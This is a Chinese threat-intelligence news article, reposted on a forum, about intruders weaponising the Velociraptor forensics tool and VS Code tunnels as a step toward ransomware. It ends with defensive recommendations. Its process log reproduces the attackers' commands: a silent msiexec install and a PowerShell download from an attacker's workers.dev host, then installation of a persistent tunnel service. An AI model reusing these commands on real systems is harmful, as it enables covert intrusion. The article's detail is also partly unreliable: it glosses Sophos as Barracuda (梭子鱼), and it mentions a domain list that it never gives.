这是一起技术复杂的入侵事件中，威胁行为者盗用了合法的开源工具 Velociraptor（一款数字取证与事件响应工具，简称 DFIR 工具），并利用其建立隐蔽的远程访问通道。
这标志着攻击者的战术从长期滥用 “远程监控与管理工具（RMM 工具）” 向新方向演变 —— 如今攻击者开始重新利用 DFIR 框架，以减少定制化恶意软件的部署，进而规避安全检测。
攻击过程中，攻击者借助 Windows 系统原生的 msiexec 工具（Windows 安装程序执行工具），从 Cloudflare Workers（Cloudflare 的无服务器计算平台）托管的暂存域 “files.qaubctgg.workers.dev” 下载并安装了恶意的 Velociraptor MSI 安装包。
该暂存域中还存放着其他攻击工具，例如 Cloudflare 隧道组件和 Radmin 远程管理工具。Velociraptor 安装完成后，被配置为与位于 “velo.qaubctgg.workers [.] dev” 的命令与控制（C2）服务器进行通信。
随后，入侵者执行了一条经过混淆处理的 PowerShell 命令，从同一个 workers.dev 文件夹中获取 Visual Studio Code（可执行文件名为 code.exe），并启用其内置隧道功能运行该程序。
（以下为进程执行路径记录，展示 Velociraptor 创建 Visual Studio Code 隧道的过程）：
\Device\HarddiskVolume2\Windows\System32\wininit.exe
wininit.exe → \Device\HarddiskVolume2\Windows\System32\services.exe
C:\Windows\system32\services.exe
\Device\HarddiskVolume2\Program Files\Velociraptor\Velociraptor.exe –config “C:\Program Files\Velociraptor/client.config.yaml” service run → \Device\HarddiskVolume2\Windows\System32\cmd.exe /c
“C:\ProgramData\code.exe tunnel –accept-server-license-terms service install > c:\users\public\i.log”
\Device\HarddiskVolume2\Windows\System32\cmd.exe /c “msiexec /q /i
https://files.qaubctgg.workers.dev/sc.msi“
\Device\HarddiskVolume2\Windows\System32\cmd.exe /c “type c:\users\public\i.log”
\Device\HarddiskVolume2\Windows\System32\cmd.exe /c “type c:\users\public\i.log”
\Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -encodedCommand Invoke-WebRequest -Uri “
https://files.qaubctgg.workers.dev/code.exe” -OutFile “C:\ProgramData\code.exe”
通过将 code.exe 安装为 Windows 服务，并将其输出重定向到日志文件，威胁行为者成功建立了一条通往攻击者 C2 基础设施的 “持久化加密隧道”。
根据 Sophos（梭子鱼网络安全公司）的调查，这种技术能够绕过许多传统安全控制措施 —— 因为 Visual Studio Code 的隧道功能通常被开发者合法用于远程协作，难以被识别为恶意行为。
针对此次事件，CTU（网络威胁情报团队）分析师为受影响机构提供了缓解指南，助力其快速隔离受感染主机。这一遏制措施成功阻止了攻击者推进至最终目标 —— 部署勒索软件。
尽管 “通过滥用 RMM 工具获取远程访问权限” 是一种常见战术（此前在涉及 SimpleHelp 漏洞和基于虚拟机的工具的事件中均有记录），但此次事件是已观测到的 “DFIR 软件本身被武器化” 的首批案例之一。
通过转向滥用 Velociraptor，攻击者减少了对定制化恶意软件的依赖，既降低了自身的操作痕迹，也增加了安全人员追溯攻击源头的难度。
CTU 的分析表明，此类攻击手法很可能是部署勒索软件的 “前兆”。因此，建议各机构采取以下措施：
- 监控终端与服务器上是否存在未经授权部署的 DFIR 工具及事件响应工具（包括 Velociraptor）；
- 部署全面的终端检测与响应（EDR）系统，确保其能够检测异常进程和可疑命令行操作；
- 执行严格的应用程序白名单策略，阻止未批准的安装程序和服务创建；
- 定期审计网络流量，排查是否存在意外的加密隧道或异常的 C2 信标通信（攻击者与 C2 服务器的周期性通信）；
- 维护可靠的离线备份，并定期演练勒索软件恢复方案。
安全团队应审查并限制对以下域的访问，同时警惕与这些可能包含恶意内容的域进行交互所带来的风险。
若将 “未经授权使用事件响应工具” 视为高风险事件，并采取分层检测与防御措施，各机构便能显著降低此类攻击的影响，在攻击者部署勒索软件前阻止其行动。
红客联盟·免责声明
1. 本版块文章内容及资料部分来源于网络，不代表本站观点，不对其真实性负责，也不构成任何建议。
2. 部分内容由网友自主投稿、编辑整理上传，本站仅提供交流平台，不为该类内容的版权负责。
3. 本版块提供的信息仅作参考，不保证信息的准确性、有效性、及时性和完整性。
4. 若您发现本版块有侵犯您知识产权的内容，请及时与我们联系，我们会尽快修改或删除。
5. 使用者违规、不可抗力（如黑客攻击）或第三方擅自转载引发的争议，联盟不承担责任。
6. 联盟可修订本声明，官网发布即生效，继续使用视为接受新条款。
联系我们：admin@chnhonker.com
